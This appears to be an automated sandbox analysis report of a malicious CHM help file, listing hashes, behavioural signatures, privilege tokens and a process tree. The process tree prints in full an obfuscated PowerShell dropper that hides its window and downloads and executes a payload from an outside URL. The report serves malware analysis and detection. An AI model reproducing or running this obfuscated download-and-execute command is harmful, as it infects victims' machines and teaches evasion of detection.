Analysis
- max time kernel
183s - max time network
187s - platform
windows10-2004_x64 - resource
win10v2004-20220414-en - submitted
20/05/2022, 01:54
Static task
static1
Behavioral task
behavioral1
Sample
4e5ef8e38b17fdf30961f28d4b5e2e23.chm
Resource
win7-20220414-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
4e5ef8e38b17fdf30961f28d4b5e2e23.chm
Resource
win10v2004-20220414-en
windows10-2004_x64
0 signatures
0 seconds
General
- Target 4e5ef8e38b17fdf30961f28d4b5e2e23.chm
- Size 14KB
- Sample220520-cbrbasebb7
- SHA256 f0c20d4ea2e2cc1d3c9df58b1a4854f9e3b761b7cd0c26860559289c74a8d50f
- MD5 4e5ef8e38b17fdf30961f28d4b5e2e23
- SHA1 a7da3f869505242eb93c6bb07bc7cc76b6a5d71b
- SHA512 c33cfc30c355dcb2638a7835986572c3da27b12cbb6c4a3773fbd1ce03e2c5b1710e15f1a15253f2951455eae53e71b5837dcc4176ace40bf43326b72e846f7c
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://pacurariu.com/F37.jpg
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 27 4260 powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4260 powershell.exe 4260 powershell.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 4260 powershell.exe Token: SeIncreaseQuotaPrivilege 4260 powershell.exe Token: SeSecurityPrivilege 4260 powershell.exe Token: SeTakeOwnershipPrivilege 4260 powershell.exe Token: SeLoadDriverPrivilege 4260 powershell.exe Token: SeSystemProfilePrivilege 4260 powershell.exe Token: SeSystemtimePrivilege 4260 powershell.exe Token: SeProfSingleProcessPrivilege 4260 powershell.exe Token: SeIncBasePriorityPrivilege 4260 powershell.exe Token: SeCreatePagefilePrivilege 4260 powershell.exe Token: SeBackupPrivilege 4260 powershell.exe Token: SeRestorePrivilege 4260 powershell.exe Token: SeShutdownPrivilege 4260 powershell.exe Token: SeDebugPrivilege 4260 powershell.exe Token: SeSystemEnvironmentPrivilege 4260 powershell.exe Token: SeRemoteShutdownPrivilege 4260 powershell.exe Token: SeUndockPrivilege 4260 powershell.exe Token: SeManageVolumePrivilege 4260 powershell.exe Token: 33 4260 powershell.exe Token: 34 4260 powershell.exe Token: 35 4260 powershell.exe Token: 36 4260 powershell.exe Token: SeIncreaseQuotaPrivilege 4260 powershell.exe Token: SeSecurityPrivilege 4260 powershell.exe Token: SeTakeOwnershipPrivilege 4260 powershell.exe Token: SeLoadDriverPrivilege 4260 powershell.exe Token: SeSystemProfilePrivilege 4260 powershell.exe Token: SeSystemtimePrivilege 4260 powershell.exe Token: SeProfSingleProcessPrivilege 4260 powershell.exe Token: SeIncBasePriorityPrivilege 4260 powershell.exe Token: SeCreatePagefilePrivilege 4260 powershell.exe Token: SeBackupPrivilege 4260 powershell.exe Token: SeRestorePrivilege 4260 powershell.exe Token: SeShutdownPrivilege 4260 powershell.exe Token: SeDebugPrivilege 4260 powershell.exe Token: SeSystemEnvironmentPrivilege 4260 powershell.exe Token: SeRemoteShutdownPrivilege 4260 powershell.exe Token: SeUndockPrivilege 4260 powershell.exe Token: SeManageVolumePrivilege 4260 powershell.exe Token: 33 4260 powershell.exe Token: 34 4260 powershell.exe Token: 35 4260 powershell.exe Token: 36 4260 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1072 hh.exe 1072 hh.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1072 wrote to memory of 4260 1072 hh.exe 82 PID 1072 wrote to memory of 4260 1072 hh.exe 82
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\4e5ef8e38b17fdf30961f28d4b5e2e23.chm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'http' + '://pacurariu.com/F37.jpg')|P2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4260
-